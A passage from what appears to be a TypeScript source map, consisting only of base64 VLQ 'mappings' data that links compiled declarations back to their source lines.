C,CAAC;IACF,cAAc,EAAE,MAAM,CAAC;CACxB,CAqCA;AAED,sEAAsE;AACtE,wBAAgB,kBAAkB,CAChC,QAAQ,EAAE,eAAe,EACzB,QAAQ,EAAE,OAAO,GAAG,MAAM,GACzB,kBAAkB,CASpB;AAED,wBAAgB,YAAY,CAAC,QAAQ,EAAE,eAAe,GAAG,kBAAkB,CAE1E;AAQD,qBAAa,gBAAgB;IAIzB,OAAO,CAAC,QAAQ,CAAC,MAAM;IACvB,OAAO,CAAC,QAAQ,CAAC,SAAS;IAC1B,OAAO,CAAC,QAAQ,CAAC,SAAS;IAC1B,OAAO,CAAC,QAAQ,CAAC,GAAG;IANtB,OAAO,CAAC,QAAQ,CAAC,OAAO,CAA6B;gBAGlC,MAAM,EAAE,WAAW,EACnB,SAAS,EAAE,aAAa,EACxB,SAAS,SAAsB,EAC/B,GAAG,GAAE,CAAC,IAAI,EAAE,MAAM,KAAK,IAAe;IAGzD;;;;OAIG;IACH,KAAK,CAAC,GAAG,SAAa,GAAG,IAAI;IAM7B;;;;OAIG;IACH,YAAY,CAAC,OAAO,EAAE,YAAY,GAAG,OAAO;IAkC5C,yDAAyD;IACnD,GAAG,CACP,cAAc,EAAE,MAAM,EACtB,QAAQ,EAAE,aAAa,EACvB,MAAM,EAAE,MAAM,GACb,OAAO,CAAC,kBAAkB,CAAC;CA6E/B"}
|